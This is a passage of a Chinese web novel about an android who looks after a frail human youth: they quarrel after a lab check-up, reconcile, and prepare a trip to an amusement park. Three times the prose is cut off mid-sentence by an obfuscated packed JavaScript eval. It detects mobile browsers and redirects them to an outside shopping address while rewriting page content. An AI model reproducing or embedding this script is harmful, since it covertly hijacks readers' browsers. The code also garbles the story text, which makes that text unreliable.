顾栩尧脸上没有任何表情。 “你们刚刚在干什么?” “呃,我们,刚刚在和程鸢说话。”其中一个人磕磕巴巴地解释。 顾栩尧冷声问:“为什么捏他的手?” “我们没有欺负他。”另一个小心翼翼道,“只是觉得程鸢太可爱了……首席你也这么觉得吧。” 两个研究员小心翼翼地看了看程鸢,又看了看顾栩尧。 顾栩尧的脸色明显更难看了。 这次他没有向程鸢解释自己是仿生人不是机器人,而是压着火气对那两个研究员说:“你们两个不用给他做检查了,让米斯来做。” “那个……米斯前辈被安排了别的事情,今天不在院里……” “那我们下次再来。”顾栩尧冷冷道,“你们两个去领罚。” 那两个仿生人还没来得及难过,程鸢先反驳:“为什么罚他们?他们没有欺负我。” 顾栩尧尽量放缓了语气:“刚才你的心率在0.3秒内提升了41%,瞳孔放大,呼吸紊乱,肯定是他们两个的原因……” “我刚刚是在害怕。”程鸢泛红的眼睛看向顾栩尧,“可不是他们的错,明明、明明就是你的错……!” 顾栩尧微微怔愣:“什么?” 程鸢咬了咬嘴唇。 一不做二不休,他破罐子破摔开始宣泄道:“你不能罚他们两个,我是因为你不在身边才害怕的!你说了我不能离开你五米远,却没有让我跟好你,我都等你了,我一直在拖时间,等你追上来……” 讲话的时候,程鸢在极力克制声音不要颤抖,但他心中的委屈随着对顾栩尧的控诉越来越满,最终吸了吸鼻子,说:“……我讨厌你。” 顾栩尧愣住了。 程鸢转过身,闷闷地说:“我要去做检查,你也不用跟着我了,想去哪里就去哪里吧。” 这是赌气的话。 但程鸢很委屈,他就是要和顾栩尧赌气。 那两个仿生人站在原地纠结了好一会儿,最终对顾栩尧深鞠一躬,跟着程鸢走了。 * 这是程鸢第一次生顾栩尧的气。 他沉默着几十步,情绪才渐渐平复下来,他慢吞吞地停下,回头看仍然惊魂未定的两个研究员,问:“检查室,该怎么走啊……” 研究员大梦初醒般说:“啊,对,我们来带路。” 程鸢乖乖退到了他们身后,“谢谢。” 这次他们并没有走在程鸢前面,而是安安静静地一左一右走在程鸢的两边,只有指路的时候稍微示意一下。 “那个……”程鸢变回了之前礼貌轻软的语气,“抱歉,连累你们了……” “不,我们没关系的。还有,我们之前捏你的手,真的是因为觉得你可爱,没有欺负你的意思,请原谅我们。”二人对程鸢深深鞠了一躬。 程鸢慌忙道:“你们不用这样,我只是一个普通人类。” 两个仿生人又对视一眼,显然不相信程鸢的话。 “不太像……” “嗯……” 11. 科学院(三) 程鸢:“什么……?” “就是,首席看到我们抓着你手的时候,脸色都变了,看上去很生气的样子……他对你很不一样吧。” 程鸢想了想,确实不一样吧。 感觉顾栩尧总是因为自己的事生气。 难道他其实讨厌自己吗? 否则也不会随随便便把自己丢出去吧。 程鸢心事重重,跟着自称小高和小艾的仿生人,安安静静地到了检查室。 他们好像变拘谨了很多,弯腰和程鸢说话,也只是费力地撑着自己的膝盖,再也没有触碰过程鸢了。 检查室里布满精密的仪器,与外面的繁忙杂乱不同,这里格外安静、整洁,只有仪器运行的微弱嗡鸣。 程鸢好奇地打量了一圈,问:“怎么只有我们?没有其他人要做检查吗?” 小高:“这里是针对人类个体最高级别的深度检查,几乎没有几个人类来做过。” 小艾点头:“对,这里一直闲置着。” 小高:“说真的,虽然在上城区人类和仿生人的关系没有在下城区那么尖锐,相处还算和谐吧,但真正来过科学院的人类是屈指可数的。” 小艾点头。 程鸢:“所以,你们很喜欢人类吗?” “喜欢人类也没错……”小高和小艾对视一眼,“但我们应该算是颜控。” “我们两个是《可爱百分百》的忠实读者,每一期都烂熟于心。” 程鸢:“《可爱百分百》……?” “是旧时期的杂志。”他们又对视一眼,小高说,“我们已经达成了共识,你应该在每一期的封面上常驻。” “还要出个人特辑。”小艾点头。 被当面这样夸奖,程鸢还是挺不好意思的,他耳尖红红的,眨了眨眼。 他想起来,顾栩尧说过,上城区有一部分仿生人很喜欢人类,甚至主张将主导权还给人类。 所以他问:“那么,你们也是希望将主导权还给人类的那一部分仿生人吗?” 氛围稍稍冷却了下来,小高思考了一番认真回答道:“不算。我们在这件事上保持中立,硬要说的话,应该是共生派,这也是上城区的主流观念。” 小艾:“你刚刚说的应该是归复派,而归复派与主张将人类赶尽杀绝的净化派,斗争一直很激烈。” 小高:“其实这些事情离我们很远啦,我们只是普通仿生人,能吃饱穿暖,安稳度日,等着寿终正寝就可以了。” 程鸢问:“寿终正寝……是说仿生人的那个病吗?” “对。” 程鸢:“但科学院在积极寻找解决方案了吧。” “很难吧。”二人又对视后说,“那是深植在每个仿生人核心处理器上的病毒,依现在的科学水平,如果可以治疗,早该找到办法了。” 小艾:“况且也没什么不好,一直活着的话,就要一直当社畜……” 居然是这样吗。 程鸢张了张嘴,不知道该不该安慰。 好在二人已将准备工作做好,小高指了指中央的扫描床,“请躺在这里。” “如果有任何不适请立刻告诉我们。” 程鸢依言躺下,后知后觉地变得有些紧张。 他抬眼去看小高和小艾。 却发现他们比自己还要紧张? 二人的身子紧紧绷直,神情不自然,动作也格外僵硬。 程鸢:“你们怎么了?这个检查特别难做吗?” 小高:“呃……” 他们两个好像一直在暗戳戳地偷瞄门那边。 程鸢撑起身子也想看那边。 “别动!”小高大喊一声,吓得程鸢立刻躺直了,小高放缓语气说,“我是说,检查已经开始了,你不能再东张西望了。” 程鸢惊魂未定,睁圆了杏眼看小高,乖乖点点头。 小艾把小高拉到一边,小声问:“可以告诉程鸢吗?” 小高:“不可以吧,刚刚在办公室院长不是说了什么‘观察者效应’吗?” 小艾:“……真的有这种东西吗?怎么之前没听说过。” “你们……”程鸢犹豫着开口问,“你们到底怎么了?” “没事。”二人转身面向程鸢时,也会看到门那边,站得笔直、一脸严肃的顾栩尧。 他像一道无形的影子。 不,对小高和小艾来说,简直像一场噩梦。 他们神情坚毅地带上了手套,拿出了上战场前视死如归的态度,来面对这场原本很简单的检查。 * 检查的过程比程鸢想得要快很多,而且程鸢没想到小高和小艾在工作的时候会变得如此专注。 他们的语气温和,动作轻柔,甚至在程鸢因为抽血而微微蹙眉时,会一脸紧张地询问疼不疼。 程鸢坐起来后,小高立刻递上来一杯温水。 “谢谢。”程鸢双手接过。 “我们只是在按照规章制度行事。”小高一板一眼地说,语气严肃到像是在汇报工作,小艾则规规矩矩地站在一旁。 总觉得哪里不对劲,但程鸢说不上来。 他慢吞吞地喝着水,打量检查室里的仪器,却看到了门口那个高大的身影。 …… 程鸢喝水的动作停下来了。 他什么时候来的? 刚来?还是一直站在那里? 门那边灯光有些暗,顾栩尧大半个身子都在阴影里,双目幽静深邃,他沉默地站在那里,紧紧盯着程鸢。 程鸢的身体一僵,默默垂下头不看顾栩尧,决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307870|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赌气到底。 顾栩尧一言不发地走了进来,站在他身边,板着脸,问两个研究员:“他的检查结果怎么样?” 小艾立刻回答:“对比上次的基础检查报告,他的营养、睡眠等健康问题有很大的改善,但细胞代谢的波动曲线十分独特,看上去像休眠火山的活动图谱……” 顾栩尧:“有什么解决办法吗?” 小高:“这要等具体的报告出来才能知道。” 程鸢懵懵懂懂地坐在旁边,试图理解小艾说的那些专业词汇时,发现顾栩尧的视线落到了自己身上。 程鸢皱着眉,扭头避开了顾栩尧的视线。 顾栩尧的目光变得越来越沉。 * 检查彻底结束后,顾栩尧没和洛伊院长打招呼就离开了。 程鸢觉得这样不太好,但顾栩尧风一般大步向外走,而程鸢也不想主动说话,只能一声不吭地跟上他。 ……顾栩尧这是什么态度啊,他为什么要生气? 该生气的明明是自己吧! 回家的悬浮车上,气氛也很压抑。 程鸢紧贴着车窗,尽可能拉开与顾栩尧的距离,一直望着窗外飞速掠过的风景。 ……当两个比他高大很多的仿生人站在他面前,而顾栩尧不在身边时,程鸢真的很害怕,他当时在想,怎么跑才能跑赢这两个仿生人,去寻求顾栩尧的庇佑。 是顾栩尧违约了。 程鸢暗自下定决心,绝对不要主动说话。 * 悬浮车在令人窒息的寂静中滑入车库,车门开启,顾栩尧率先下车,步伐比平时更快。 程鸢抿着唇,默默跟在他身后,可以维持着一段以示抗议的距离。 一进门,程鸢就踢掉鞋子,赤着脚与顾栩尧擦肩而过,向卧室走去。 “程鸢。”顾栩尧的声音从身后传来,依旧冷硬,“穿鞋。” 程鸢脚步一顿,僵在原地没有动。 顾栩尧:“地面温度低于人类足部舒适区间,你会着凉的。” 程鸢内心挣扎了一下,想着,其实不该为了顾栩尧让自己不舒服。 于是他气鼓鼓地回去,故意很大力地打开了鞋柜,将拖鞋取出来砰得一声甩到地上,然后把鞋子穿出很大的声响,头也不回地冲回卧室,只留给顾栩尧一个散发着幽怨的后脑勺。 顾栩尧看了一眼程鸢的背影,走进厨房,开始准备晚饭。 程鸢进卧室后,直接扑到了床上。 顾栩尧依旧冷冰冰的,完全没有和程鸢沟通的意思。 程鸢懊恼地想。 他不懂自己的情绪,甚至,他根本就不在乎,对他而言,自己可能真的只是一个宠物,会提供食物和住处,但宠物闹脾气,主人不会真正理解,只会觉得麻烦。 12. 科学院(四) 程鸢把脸埋在被子里,不一会儿就开始呼哧呼哧地喘气,一直到快要窒息了,才撑着手肘爬了起来,把枕头拉到自己的身下,双臂搂着,下巴搁到上面,呆呆地看着窗外。 这里的位置应该很偏僻,程鸢在这里住了这么久,几乎没见到几个人影,还有仿生人影。 窗外格外空旷,静谧。 ……但程鸢从来没有嫌弃过这里没有烟火气息,相反,他十分珍惜在这里的生活。 比起在交易所吃不饱、睡不好的生活,在这里生活不知道要好多少倍。 如果可以的话,他想在这里住一辈子。 但那就意味着要和一直顾栩尧一起生活吧。 程鸢抱着枕头翻了个身,呆呆地看天花板。 一直在一起吗…… 程鸢发呆时,智能管家突然响了:“您的心情似乎不是很好,需要我为您播放音乐或视频吗。” “不用了。”程鸢仍然保持着原先的姿势,呆呆地问,“小智你说,顾栩尧他干嘛总是生我的气,而且,这次明明是他做错了,该生气的是我吧。” “抱歉,这个问题我无法回答。” “其实我也知道向他发脾气是不对的,万一他真的嫌我烦了,把我扔回交易所怎么办……” 智能管家:“……” 程鸢盯着天花板,说:“他从来没惩罚过我,就算我想看电视所以不按时睡觉也不会,这次也不会吧……反正,就是他的错,我绝对不能怂!小智你要给我加油打气!” 智能管家:“我建议您尽快道歉,不要和主人作对。” 程鸢:“小智你胳膊肘往外拐,我俩都是你的主人,而且是我每天在陪你聊天好不好。你现在最应该做的不是劝我道歉,而是帮我骂顾栩尧一顿!” 智能管家:“抱歉,这个问题我无法回答。” ……这个智能管家真的很智能,答不出来了就开始装死。 程鸢气鼓鼓地抱紧怀里的枕头。 门突然被敲响了。 程鸢吓了一跳,立刻坐直问:“什么事?” “吃饭。” 顾栩尧丢下这两个字后,脚步声就远去了。 程鸢满腹委屈,他不想出去,但又不敢真的不出去,只好磨磨蹭蹭地给自己找了一个换衣服的借口,想拖延一点时间。 回了家,换一身衣服,很合理吧。 嗯对,很合理。 他打开衣橱,翻出一套顾栩尧买回来后自己从来没有穿过的家居服,慢吞吞展开铺好在床上,站远了欣赏。 这是一套橙白双色家居服,款式比较简单,唯一的设计大概是上衣前面印着一个小熊,很可爱。 不得不说顾栩尧的审美不错,挑的衣服都比较和自己的心意。 程鸢先手脚麻利地换好了裤子,然后脱下针织衫,捞起床上的橙色小熊衣服,往头上套。 只是,他的一条胳膊穿过了领口,而他的脑袋被蒙在衣服里,乱拱着想要从袖口出去,就这么将自己困在了一件上衣里。 乱七八糟的挣扎使他没听到又一次响起的敲门声。 顾栩尧敲了门没有得到回应,只好自己开门走进了程鸢的房间。 进去后,他就看到,程鸢在和衣服“战斗”,拧得看不出形状的衣服纠缠在程鸢的头顶,程鸢则想要挣脱衣服的束缚,他挥舞着手,整个脑袋都被蒙在了里面,只有偶尔会露出一小簇栗色的头发。 同样露出的,还有…… 程鸢的腰。 纤细,嫩白,带着少年人特有的清韧,腹中的线若隐若现,一直绵延至松松垮垮的裤腰下,勾人联想。 顾栩尧的视线不知为何定格在了那里。 反应过来后,顾栩尧发现自己已经盯着那里看了许久,他试图分析这个行为的原因,却得不到答案。 顾栩尧看着程鸢笨笨地和衣服缠斗,有几声比较粗的喘气声时不时从里面传来,他丝毫没有觉得不耐烦,反而觉得有些……可爱? 他走到程鸢的身边,沉声说:“别动。” 程鸢还在挣扎中,忽然听到顾栩尧近在咫尺的声音,像是被按下了暂停键,保持着双臂抬起的姿势,身体僵直地站着。 顾栩尧握着程鸢的手臂,让其抬得更高,然后拽住衣服的下摆向上拉,直到将程鸢彻底解救出来。 程鸢刚从衣服里钻出来,立刻甩了甩乱蓬蓬的头发,他好像累得不轻,还有些发懵,喘着气说:“谢、谢谢。” 顾栩尧手里握着程鸢的衣服,向下看,看到了程鸢被甩起来而慢慢回落的栗色头发,看到了他有些泛红的脸颊和迷茫的眼神,还看到了白腻平滑的皮肤和…… 顾栩尧觉得自己好像一瞬间停止运作了。 程鸢缓过神来,想要回衣服,但顾栩尧松松地握着他的衣服,一动不动地盯着他。 “……顾先生?” 顾栩尧姿势未变,目光依旧沉沉的。 程鸢抬起手在他的眼前晃了晃,同样在晃的还有他瓷白细腻的皮肤。 顾栩尧变得更加僵硬了。 程鸢想,他好像坏掉了。 他好不容易才从顾栩尧手里把衣服拽回来,见顾栩尧还是没有什么反应,轻轻推了他一下,声音软软地下令道:“出去。” 顾栩尧像是终于回过了神,出去前眼神已经恢复了没有情绪的状态,扔下一句:“快点出来吃饭,别让我喊第三次。” 这个讨厌的机器人! 程鸢穿好衣服,不情不愿地走到餐厅,依旧选择了最角落的位置。 桌上摆的食物,依旧是烹饪机做出来的各种食物块,程鸢松了一口气。 虽然不知道原因,但顾栩尧好像也有情绪,程鸢还怕顾栩尧给自己吃水泥,报复自己来着。 程鸢拿起勺子,有一下没一下地戳着盘里的蛋白质块,像是在用蛋白块泄愤。 顾栩尧没有像往常一样站在旁边记录,而是在程鸢对面坐下。 明明顾栩尧什么都没说,只是沉默的坐着,但那道深灰色的目光落到自己身上,程鸢就感受到了一种……无形的压迫。 越是被这么盯着,程鸢越是吃不下去,他默默戳着碗里的蛋白质块,将蛋白质块戳成了软泥。 “快点吃。”顾栩尧毫无感情地下令。 程鸢心烦,舀起一大勺塞进嘴里,结果呛到了,捂着嘴剧烈地咳嗽起来。 几乎是同时,一杯水被塞到了他手里。 但程鸢咳得没办法接过水杯,于是顾栩尧放下了水杯,绕到程鸢身边,一只手搭在程鸢的后背轻轻地拍,动作比上次安慰打翻水杯的程鸢自然了很多,没有那么僵硬了。 渐渐的,程鸢缓了过来,他依旧可怜兮兮地喘气,眼角挂着生理性的泪水,嘴唇湿润艳红。 顾栩尧再次将水杯递给程鸢,程鸢接了过去,小口小口地喝,小声说:“谢谢……” “我不是让你这样快点吃。”顾栩尧的语气有些无奈。 “我……”程鸢放下水杯,嘟囔道,“我吃饱了。”说完就想溜。 “摄入量不足60%。”顾栩尧拦下程鸢,“至少再吃五口。” 程鸢深吸一口气,重新坐下,用一种近乎数米粒的速度,极其缓慢地、一下一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307871|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舀盘子里的饭。 “程鸢。” “……” 程鸢敢怒不敢言地看了顾栩尧一眼,像一只默默炸毛但不敢亮爪子的小猫,愤愤不平地继续吃,不知道该说凶,还是该说乖。 * 饭后,程鸢照例要在客厅看电视。 在客厅有和顾栩尧接触的风险,所以程鸢想直接回房间来着。 但他在房间门口纠结了好一会儿,今天看到最精彩的地方了,他不想就这么放弃,所以最后还是磨磨蹭蹭地窝到了沙发上。 总之,今天的电视一定会更加好看,因为他有零食。 这是刚进检查室时,小高翻出来塞给他的“水果味能量糖”,说是味道很好,让他尝尝。 他当时推脱不过,就揣进了口袋,此刻,他从外衣口袋里翻出这袋糖,准备看电视的时候吃。 电视中的主角上演着爱恨情仇,他将手伸进了包装袋,摸到光滑的水果糖。 他取了一颗出来,有些新奇地研究着拧起来的彩色糖纸。 “那是什么?”顾栩尧的声音骤然响起,吓了程鸢一跳,糖差点掉在地上。 “糖。”程鸢回答,默默将糖攥紧。 “哪来的?” “小高研究员给我的。”程鸢老实交代。 顾栩尧的视线落在程鸢紧握的手上,眸光似乎沉了几分,“我说过,除我之外,不要接受任何人提供的食物。还没有经过成分检测,存在安全隐患。”他伸出手,掌心向上,语气不容置疑,“给我。” 程鸢看他那副公事公办的样子,委屈的情绪又涌上来,他紧紧攥着糖,反驳道:“这只是颗糖而已。” 顾栩尧的手没有收回去,声音更沉,“给我。” 程鸢被气得眼眶泛红,负气地将那颗糖用力拍在顾栩尧摊开的掌心里,“给你就给你,谁稀罕。” 顾栩尧收拢手掌,将那颗糖果攥进手心,沉沉地看着程鸢因激动而泛红的脸上。 程鸢伸手揽过手旁地抱枕搂在怀里,遮住了自己的小半张脸,只露一双眼睛在外面,故意不看顾栩尧。 “你快点走开啊,挡着我看电视了!” 顾栩尧没有转身离开,反而坐在了程鸢旁边,说:“你在生气。” 不是提问,是陈述句。 程鸢的视线直直地落在电视屏幕上,气鼓鼓地说:“我就是在生你的气,你现在不要烦我。” “为什么?”顾栩尧沉着声音说,“程鸢……你希望我怎么做?为什么你对别人都很好,觉得他们都是好人,唯独不肯听我的话?” “我哪有不听你的话,你让我做的事情我都做了,倒是你,你没有说到做到,你才是不听自己话的人。该生气的是我吧,我什么都没做错,你为什么不开心?” 顾栩尧沉默了片刻,声音变得有些低,“我确实不开心,因为你对他们没有防备,随随便便就让他们抓你的手。” 程鸢愣住了。 顾栩尧居然是因为这个在生气。 “这些不都是因为你吗?”程鸢委屈地看着顾栩尧,“你把我丢出去,让我独自面对两个仿生人,我怎么敢反抗他们?” “你可以拒绝的,程鸢,在科学院没人敢为难你。” “我又不知道,反正都是你的错,因为你不在我身边……” “那后面呢?你没经过我的同意,当着我的面跟他们走了。” “那、那是因为……!” 因为自己在生气啊! 程鸢委屈巴巴地抱着抱枕,声音闷闷地说,“……你这个机器人,怎么连这个都不懂。” 13. 方舟乐园(一) “我确实不是人类。”他的声音很低,依旧是那种平稳无波的陈述,“说实话,我也根本不想理解其他人类在想什么。我现在试图理解的只有你。” 程鸢愣住了。 不知为何,委屈的情绪一瞬间溢满了程鸢的胸腔,在不断翻滚的心绪里蒸腾出水汽,蒙上程鸢的双眼。 他垂下了眼睛,声音很轻,带着一点不易察觉的哽咽,说:“反正,我就是不开心……这是我第一次出去,我都说了,你要一直陪我,而且你说过不会和我离开超过五米。可是你让我跟他们走了,我拖延了好久,一直在等你,你一直没有跟过来……你明明说过会保证我的安全……” 程鸢又在哭了。 ……是自己害程鸢哭的。 顾栩尧烦闷的情绪一下子消散了,只剩下了慌张与不知所措。 他有些僵硬地拍着程鸢的后背安慰,轻声解释道:“你出去之后,我立刻打开了全域监控。” 程鸢委屈地说:“可是我又不知道,那些仿生人比我高那么多,我打不过他们的,他们真的欺负我怎么办,你又不管我……” 顾栩尧沉默地走到程鸢面前,看着程鸢湿润的眼睛,俯下身来,让自己的视线与坐在沙发上的程鸢齐平。 “对不起,是我错了……” 顾栩尧居然真的和自己道歉了。 这个高大的仿生人,此时将身子压得比自己还低,在恳求自己的原谅。 程鸢抱紧了抱枕,眼中还闪着泪花,吸了吸鼻子说:“你再说一遍。” “……对不起。”顾栩尧自下而上看着程鸢,“是我没有照顾好你,让你受委屈了,我向你道歉。” 虽然顾栩尧的眼中依旧没什么情绪,但程鸢还是…… 爽到了。 嘿嘿。 委屈像奶油一样化开了。 但不能这么快就原谅顾栩尧,程鸢决定先吊着他,一本正经地说:“嗯,我还要考虑一下要不要原谅你。” “什么时候能考虑好?” 程鸢臭屁地说:“看你表现吧,比如,明天我要吃双倍的零食。” “不行,这对你的身体不好。” “……”程鸢争取道,“那我上午也要看电视。” “……好吧。” 程鸢满意了。 他忽然想到了什么,补充道:“还有小高和小艾,他们两个又没做错什么,你干嘛对他们这么凶,要和他们道歉。” 顾栩尧沉默了。 那两个研究员。 ……他们摸程鸢的手,还拐走了程鸢。 “对他们的惩罚并没有实行,我没有道歉的理由。”顾栩尧平静地说:“而且,你太笨了,太容易轻信他人。” 程鸢一瞬间瞪圆了双眼。 这个仿生人怎么回事,上一秒还在恳求自己的原谅呢,下一秒就来挑衅自己。 程鸢不服地喊道:“我才不笨呢,笨的是你!” 顾栩尧看着程鸢愤愤不平的样子,微不可查地勾起了嘴角。 程鸢捕捉到了顾栩尧的这一丝笑意,愣了愣,问:“你是在笑话我,还是认输了?” 顾栩尧眼底有温柔的笑意,“我认输。” 程鸢立刻放松了神经,得意洋洋地“哼”了一声,说:“认输了就好,本来就是你更笨。” “好吧,你记得考虑什么时候原谅我。”顾栩尧看了一眼时间,站了起来,“我有工作要忙,今晚你自己看电视。” 程鸢喊:“那把糖还我。” “成分无异常就还你。”顾栩尧说完就离开了。 这……算哪门子认输了? 这个讨厌的机器人! * 那边,顾栩尧还没走到工作室,就收到了洛伊的来电。 洛伊在科学院很忙的时候,一般只会发送文字信息,很少打电话。 除非是很重要的事。 顾栩尧立刻接了起来。 “顾栩尧,程鸢的情况比预想中更复杂。” 顾栩尧皱起了眉,立刻打开工作室的门,走了进去。 “详细说。” “他的细胞活性低得吓人。这根本不是普通的生病,而是根源性的枯竭。” 顾栩尧怔了片刻,声音压得格外沉:“有解决办法吗?” 电话那边的洛伊说:“你也知道,我们对人类的研究很浅,况且程鸢的情况本就不同寻常。现在只能确定,短时间内程鸢的身体不会崩盘,并且没有什么外因会让他的情况恶化,但也没有能让他好转的方法。” 顾栩尧的手默默攥紧了。 洛伊继续说:“程鸢毕竟是人类,这种情况,恐怕只能求助于人类……只是不知道那个人肯不肯帮我们。” 顾栩尧:“你是说……陈守渊?” 洛伊:“是的,他对人类基因编译很有研究,但是与他共事多年的好友周谨死于仿生人之手,所以陈守渊极其憎恶仿生人……或许,我们可以找一个人类带程鸢去看病,念在程鸢也是人类的份上,希望他能出手相助。” 顾栩尧沉默了,没有答话。 他想起刚才程鸢红着眼眶说,要自己信守承诺,不能离他太远,要保护他…… “不用了,我带程鸢去。” 洛伊犹豫道:“可是,陈守渊那边……” “就这么决定了。” 洛伊纠结了许久,说,“……算了,这样也好,程鸢一直和你呆在一起,你更了解他的情况。我们要先找到他在哪……” 顾栩尧:“有什么线索吗?” 洛伊:“陈守渊有一个养女,在天穹市的游乐园里工作。” “……游乐园?” 洛伊:“对,我在考虑派谁和那个养女交涉。” 顾栩尧若有所思地说:“你刚刚说,程鸢的身体暂时不会外因恶化?” “是的,目前来看他很健康,完全可以正常行动。”洛伊顿了顿,说,“你是想……?” 顾栩尧:“我带程鸢直接去找她。” * “我们要去游乐园?” 第二天早饭时,程鸢得知了这个消息,震惊到差点摔了杯子。 顾栩尧端着数据面板坐在对面,说:“对。” “哇……”这个天大的好消息砸向了程鸢,将他砸得有点呆,随即他反应过来,兴致勃勃地说,“我以为你说要制定出行计划是随便说说,没想到是真的!唔,我们要做很多准备吧,你有什么计划吗?” “考虑到你有点笨,还容易轻信他人,原本我打算给你做一段时间专项训练……” 程鸢不服气地反驳:“你那一串形容词说的是谁啊?!” 顾栩尧自顾自继续说:“……但时间紧迫,今天收拾一下行李,我们明天就出发。” “这么着急?等下,为什么要收拾行李?” “天穹市很远,当天事情不一定能处理完。” “还有事情要处理吗?” “我们去那主要是为了办事。” ……就说这个机器人怎么会突然良心发现。 “好吧。”程鸢又往嘴里塞了一口饭,含糊道,“洛伊院长会和我们一起去吗?” 顾栩尧皱起了眉,“他为什么要去?” “他看上去很喜欢乐园的样子,而且他不是说过要带我去游乐园玩吗?这次正好一起去啊。” “最近科学院很忙。而且我离开后,他需要额外处理我的那份工作,会变得更忙。” 程鸢惊叹:“洛伊院长都已经那么焦头烂额了,还答应帮你处理工作啊,他真的是个好院长。” “这是他应该做的。”顾栩尧的语气淡淡的。 程鸢撇撇嘴。 “这是我第一次出远门欸。”程鸢摆出架子,故作严肃地说,“你一定要跟好我,不要乱跑,知道了吗?” “嗯。我在考虑要不要做一条牵引绳,把你拴起来牵着走。” 程鸢语塞,皱巴着脸说:“顾先生,虽然你确实是在养我,但请不要像对待小狗一样对待我。” “说起宠物,程鸢,我昨天晚上看了一篇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这个可以联系到别人吗?” “你还想联系谁。” “洛伊院长和小高小艾啊,而且万一我出去能交到朋友呢……”程鸢嘀咕着,忽然想到了什么,控诉道,“你为什么不早点给我这个?” 顾栩尧语气如常:“你在家里用不到。” “那去科学院的时候呢?” “当时还没有改装好。” 程鸢有些不满地看了顾栩尧一眼。 顾栩尧一边清点给程鸢带的药物,一边问:“你最近还会头晕耳鸣吗?” “会……但是没有那么严重了,至少不会无缘无故晕倒。” “难受的话要和我说。” “好。”程鸢乖乖点点头。 这时顾栩尧的通讯设备又震动了,他低头看了一眼,发现是洛伊,于是独自进了工作室。 刚接起电话,洛伊的声音就从电话那边传来:“你在收拾行李吧。” “对。” “你也太急了。” “这件事情越早处理越好。” “好吧,你是‘监护人’,当然你说了算。”洛伊话锋一转,“程鸢高兴坏了吧。帮我向他道歉,这次我没办法跟他一起去,下次一定。” 顾栩尧的语气沉下去几分:“你到底有什么事。” “……我是想告诉你,这次你不能和程鸢一起行动。” “为什么?” “那个游乐园不欢迎仿生人。我作为游乐园重度爱好者,却从没有去过那个方舟乐园,就是因为对这点早有耳闻。而我昨天调查后发现,情况可能更糟,方舟乐园几乎只招待人类。” 顾栩尧立刻发现漏洞:“几乎?” “对,有一种情况下,仿生人可以进入,那就是……” “顾栩尧!” 程鸢在外面大声喊着,打断了二人的对话。 程鸢没有得到回应,又喊了两声,听上去有些急,“可以出来一下吗?” “程鸢在喊我了。”顾栩尧转头对洛伊说,“仿生人有办法进去就行,到时候我会自己看着办。” 洛伊急道:“你先别走,那个条件有点麻烦……” “你发信息解释吧,就这样。” 程鸢还在喊顾先生,顾栩尧直接中断了和洛伊的通讯,向工作室外走去。 14. 方舟乐园(二) 【早安,程鸢先生。现在是上午6点30分,室内温度24摄氏度,空气质量优良。】 小智的播报声再次在卧室中响起。 ……这次远行,令程鸢十分兴奋,所以昨天晚上都没睡好,早上自然也醒不来。 闹钟已经响过好几轮,小智也催了好几遍。 程鸢被吵得不行,索性用枕头蒙住了脑袋,顶着压力,继续睡。 门突然被敲响了。 肯定是顾栩尧……程鸢的瞌睡一下子散了大半。 他本来想赖一会儿床,现在只能慢吞吞地坐了起来,没什么活力地喊了声“请进”。 “早上好啊……” 程鸢一边克制着打哈切的欲望,一边和顾栩尧打招呼。 “早上好。”顾栩尧的声音依旧没什么感情,“我原本打算到你的床边亲自叫醒你,但考虑可能会导致你产生急性应激反应,所以放弃了。” “哦……” “如果和我一起睡的话,这种情况会更好解决。” 程鸢刚睡醒,大脑还没彻底开机,本能地反对了顾栩尧的话,“不行。” 顾栩尧直接向程鸢走来,说:“出去了就由不得你了,伸手。” 程鸢愣了几秒才意识到顾栩尧是想要自己的监测手环,乖乖伸出左手。 顾栩尧托起程鸢的手,动作轻柔地解开手环。 程鸢顶着到处乱飞的栗色头发,软绵绵地任由顾栩尧摆布。 拿掉手环之后,顾栩尧应该就要出去读取数据了。 程鸢晃晃悠悠地想要躺下,准备再睡一会儿。 但是一只手扶到了他的后背上,阻止了他的动作。 程鸢有些不满地上移视线,嗔怪道:“干嘛。” 顾栩尧怔了片刻,僵硬地拢了拢程鸢的衣领,遮住露在外面的一小片雪白的皮肤,“衣服穿好。” ? 程鸢穿的是睡衣啊,难道不是怎么舒服怎么穿吗?? “你好啰嗦啊……”程鸢有些不耐烦。 “别赖床了,一会儿出发去天穹市。” 顾栩尧干巴巴地讲道理的时候,程鸢已经钻到了被窝里,将被子拉上去,遮住了脸。 顾栩尧在床边站着,从他的视线只能看到程鸢乱蓬蓬头发下的一小片额头,和随着呼吸微微起伏的被子。 顾栩尧有些无奈地轻叹一声,说:“二十分钟后吃早饭。” …… 半小时后,程鸢不情不愿地出现在了餐桌上。 他还没睡多久,智能管家就疯狂催他起床洗漱,原本他用被子蒙着头逃开了一切,但隐约听到智能管家说再不起床顾栩尧会亲自来,程鸢只好掀开被子坐了起来。 但是说真的,现在看到顾栩尧拿着自己的睡眠监测手环坐在桌边时,程鸢心里还是有些发怵的。 他默默等待审判。 果然,顾栩尧的脸色不是很好看,沉声对程鸢说:“你应该知道我想说什么。” “是……我昨晚睡得不好。”程鸢垂着头,乖乖回应,随即立刻找补道,“但只是因为我太兴奋了,睡觉前想了些事情,有点睡不着。” “想了什么?” 这很重要吗? 